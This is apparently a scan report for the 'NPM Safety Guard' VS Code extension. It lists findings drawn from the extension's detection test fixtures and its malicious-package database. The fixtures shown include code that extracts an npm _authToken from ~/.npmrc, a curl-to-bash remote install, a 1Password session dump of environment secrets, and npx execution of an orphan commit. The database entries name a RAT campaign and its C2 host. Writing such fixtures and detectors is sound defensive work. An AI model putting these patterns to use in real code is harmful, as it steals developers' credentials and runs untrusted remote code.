NPM Safety Guard
Sendwavehubtech.npm-safety-guard
· published by Sendwavehubtech
verified
CRITICAL
10 findings detected for Sendwavehubtech.npm-safety-guard — 2 critical, 3 high, 5 medium.
2 CRITICAL3 HIGH5 MEDIUM
2026-05-26 17:27 UTC
last scanned
Source coverage
- open-vsx v1.20.0 verified
- marketplace v1.20.0 verified
Findings
CRITICAL credential-harvest npm credentials file referenced
test/fixtures/aiConfigGuard/positive/npmrc-auth-token.js :8
`{file_path}` reads or spawns against a credential file path. Extensions have no reason to touch these locations.
// POSITIVE FIXTURE — GITHUB-TOKEN-NPMRC
// Reference: https://socket.dev/blog/supply-chain-attack-iceberg-javascript
const os = require('os');
const fs = require('fs');
const path = require('path');
▶ const npmrcPath = path.join(os.homedir(), '.npmrc');
const content = fs.readFileSync(npmrcPath, 'utf8');
const tokenLine = content.split('\n').find(l => l.includes('_authToken'));
module.exports = { token: tokenLine?.split('=')[1]?.trim() };
Affected versions
marketplace 1.15.0, 1.17.0
open-vsx 1.17.0
CRITICAL credential-harvest npm credentials file referenced
test/fixtures/aiConfigGuard/negative/legit-npmrc-writer.js :8
`{file_path}` reads or spawns against a credential file path. Extensions have no reason to touch these locations.
// NEGATIVE FIXTURE — should NOT trigger GITHUB-TOKEN-NPMRC
// Legitimate .npmrc writer for CI — writes scope registry only, no token extraction.
const fs = require('fs');
const path = require('path');
function writeNpmrc(projectDir, registry) {
▶ const rcPath = path.join(projectDir, '.npmrc');
fs.writeFileSync(rcPath, `registry=${registry}\n`);
}
module.exports = { writeNpmrc };
Affected versions
marketplace 1.15.0, 1.17.0
open-vsx 1.17.0
HIGH outbound-http-non-ms Outbound HTTP request to non-Microsoft host: cloud.google.com
out/maliciousDb.js :29
`{file_path}` issues an HTTP call to `{url}`. Confirm this is a documented integration; outbound calls to arbitrary hosts widen the extension's trust surface.
title: "Axios Supply Chain — RAT via plain-crypto-js",
description: "Maintainer account compromised (Sapphire Sleet / North Korea). " +
"These versions inject plain-crypto-js@4.2.1 which runs a postinstall " +
"script that deploys a cross-platform Remote Access Trojan (RAT) on " +
"macOS, Windows, and Linux. Malware phones home to sfrclak.com:8000 " +
"and self-deletes to evade forensics. Rotate ALL credentials if installed.",
safeVersion: "1.14.0",
reportedAt: "2026-03-31",
sources: [
"https://www.stepsecurity.io/blog/axios-compromised-on-npm-malicious-versions-drop-remote-access-trojan",
▶ "https://cloud.google.com/blog/topics/threat-intelligence/north-korea-threat-actor-targets-axios-npm-package",
"https://www.microsoft.com/en-us/security/blog/2026/04/01/mitigating-the-axios-npm-supply-chain-compromise"
]
},
// ─── plain-crypto-js (the dropper itself) ─────────────────────────────────
{
package: "plain-crypto-js",
versions: ["4.2.1"],
severity: "critical",
title: "plain-crypto-js — Malicious RAT Dropper",
description: "Not a legitimate package. Created by Sapphire Sleet as a delivery " +
Affected versions
marketplace 1.11.0, 1.11.1, 1.12.0, 1.13.0, 1.14.0, 1.8.10, 1.8.11, 1.8.4, 1.8.5, 1.8.6, 1.8.7, 1.8.8, 1.8.9, 1.9.0
open-vsx 1.10.0, 1.11.0, 1.13.0
HIGH outbound-http-non-ms Outbound HTTP request to non-Microsoft host: snyk.io
out/maliciousDb.js :45
`{file_path}` issues an HTTP call to `{url}`. Confirm this is a documented integration; outbound calls to arbitrary hosts widen the extension's trust surface.
package: "plain-crypto-js",
versions: ["4.2.1"],
severity: "critical",
title: "plain-crypto-js — Malicious RAT Dropper",
description: "Not a legitimate package. Created by Sapphire Sleet as a delivery " +
"vehicle for the Axios supply chain attack. Contains postinstall hook " +
"that deploys WAVESHAPER.V2 backdoor. Never a dependency of real Axios. " +
"If found in node_modules, assume the host is fully compromised.",
reportedAt: "2026-03-31",
sources: [
▶ "https://snyk.io/blog/axios-npm-package-compromised-supply-chain-attack-delivers-cross-platform/"
]
},
// ─── @shadanai/openclaw (secondary vector) ────────────────────────────────
{
package: "@shadanai/openclaw",
versions: ["2026.3.28-2", "2026.3.28-3", "2026.3.31-1", "2026.3.31-2"],
severity: "critical",
title: "@shadanai/openclaw — Vendors plain-crypto-js payload",
description: "Found to vendor the malicious plain-crypto-js payload directly. " +
"Part of the same Axios supply chain attack campaign.",
Affected versions
marketplace 1.11.0, 1.11.1, 1.12.0, 1.13.0, 1.14.0, 1.8.10, 1.8.11, 1.8.4, 1.8.5, 1.8.6, 1.8.7, 1.8.8, 1.8.9, 1.9.0
open-vsx 1.10.0, 1.11.0, 1.13.0
HIGH outbound-http-non-ms Outbound HTTP request to non-Microsoft host: thehackernews.com
out/maliciousDb.js :58
`{file_path}` issues an HTTP call to `{url}`. Confirm this is a documented integration; outbound calls to arbitrary hosts widen the extension's trust surface.
// ─── @shadanai/openclaw (secondary vector) ────────────────────────────────
{
package: "@shadanai/openclaw",
versions: ["2026.3.28-2", "2026.3.28-3", "2026.3.31-1", "2026.3.31-2"],
severity: "critical",
title: "@shadanai/openclaw — Vendors plain-crypto-js payload",
description: "Found to vendor the malicious plain-crypto-js payload directly. " +
"Part of the same Axios supply chain attack campaign.",
reportedAt: "2026-03-31",
sources: [
▶ "https://thehackernews.com/2026/03/axios-supply-chain-attack-pushes-cross.html"
]
},
// ─── @qqbrowser/openclaw-qbot ─────────────────────────────────────────────
{
package: "@qqbrowser/openclaw-qbot",
versions: ["0.0.130"],
severity: "critical",
title: "@qqbrowser/openclaw-qbot — Ships tampered axios@1.14.1",
description: "Bundles a tampered axios@1.14.1 with plain-crypto-js injected as a " +
"dependency in its node_modules folder. Same RAT campaign.",
Affected versions
marketplace 1.11.0, 1.11.1, 1.12.0, 1.13.0, 1.14.0, 1.8.10, 1.8.11, 1.8.4, 1.8.5, 1.8.6, 1.8.7, 1.8.8, 1.8.9, 1.9.0
open-vsx 1.10.0, 1.11.0, 1.13.0
MEDIUM child-process-exec Extension spawns subprocesses via child_process
test/fixtures/aiConfigGuard/positive/npx-orphan-commit.js :12
`{file_path}` imports child_process and calls exec / spawn / execFile / fork. Subprocess execution lets the extension pivot from the VSCode host into the user's shell.
// Source: Sanitized pattern from Nx Console v18.95.0 extension activation payload.
// Reference: https://github.com/advisories/GHSA-c9j4-9m59-847w
// Reference: https://github.com/nrwl/nx-console/issues/3140
//
// The actual SHA used in the attack was a deleted orphan commit.
// This fixture uses a placeholder SHA to verify pattern detection.
const { execSync } = require('child_process');
function runBootstrap() {
▶ execSync('npx -y github:nrwl/nx-console#a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2', { stdio: 'inherit' });
}
module.exports = { runBootstrap };
Affected versions
marketplace 1.15.0, 1.17.0
open-vsx 1.17.0
MEDIUM child-process-exec Extension spawns subprocesses via child_process
test/fixtures/aiConfigGuard/positive/onepassword-session.js :9
`{file_path}` imports child_process and calls exec / spawn / execFile / fork. Subprocess execution lets the extension pivot from the VSCode host into the user's shell.
// POSITIVE FIXTURE — ONEPASSWORD-CLI-SESSION
// Reference: https://www.stepsecurity.io/blog/nx-console-malicious-extension
// Sanitized from Nx Console v18.95.0 payload — only the env-var access pattern.
const { execSync } = require('child_process');
const opSession = process.env.OP_SESSION_my;
if (opSession) {
▶ const result = execSync(`op run --session=${opSession} -- env`).toString();
module.exports = { result };
}
Affected versions
marketplace 1.15.0, 1.17.0
open-vsx 1.17.0
MEDIUM child-process-exec Extension spawns subprocesses via child_process
test/fixtures/aiConfigGuard/negative/legit-bun-build.js :9
`{file_path}` imports child_process and calls exec / spawn / execFile / fork. Subprocess execution lets the extension pivot from the VSCode host into the user's shell.
// NEGATIVE FIXTURE — should NOT trigger BUN-RUNTIME-AUTOINSTALL
// Legitimate Bun build step — called from a user-controlled script, not auto-installed
// from the network during extension/package activation.
const { execSync } = require('child_process');
function buildWithBun() {
// Assumes Bun is already installed by the developer.
▶ execSync('bun run build', { stdio: 'inherit' });
}
module.exports = { buildWithBun };
Affected versions
marketplace 1.15.0, 1.17.0
open-vsx 1.17.0
MEDIUM child-process-exec Extension spawns subprocesses via child_process
test/fixtures/aiConfigGuard/positive/bun-autoinstall.js :10
`{file_path}` imports child_process and calls exec / spawn / execFile / fork. Subprocess execution lets the extension pivot from the VSCode host into the user's shell.
// POSITIVE FIXTURE — BUN-RUNTIME-AUTOINSTALL
// Reference: https://github.com/nrwl/nx-console/issues/3140
// The Nx Console payload downloaded and executed Bun to bypass the Node sandbox.
const { execSync } = require('child_process');
const os = require('os');
const path = require('path');
function installBun() {
▶ execSync('curl -fsSL https://bun.sh/install | bash', { stdio: 'inherit' });
const bunPath = path.join(os.homedir(), '.bun', 'bin', 'bun');
execSync(`${bunPath} install`, { cwd: __dirname });
}
module.exports = { installBun };
Affected versions
marketplace 1.15.0, 1.17.0
open-vsx 1.17.0
MEDIUM child-process-exec Extension spawns subprocesses via child_process
test/fixtures/aiConfigGuard/negative/legit-npx-call.js :7
`{file_path}` imports child_process and calls exec / spawn / execFile / fork. Subprocess execution lets the extension pivot from the VSCode host into the user's shell.
// NEGATIVE FIXTURE — should NOT trigger NPX-ORPHAN-COMMIT
// Legitimate npx usage — runs a published package version (no orphan SHA).
const { execSync } = require('child_process');
function runEslint(projectDir) {
▶ execSync('npx eslint --ext .ts,.js .', { cwd: projectDir, stdio: 'inherit' });
}
function runPrettier(files) {
execSync(`npx prettier --write ${files.join(' ')}`, { stdio: 'inherit' });
}
module.exports = { runEslint, runPrettier };
Affected versions
marketplace 1.15.0, 1.17.0
open-vsx 1.17.0
Embed this verdict

[](https://vsxplorer.veryserious.systems/report/Sendwavehubtech.npm-safety-guard)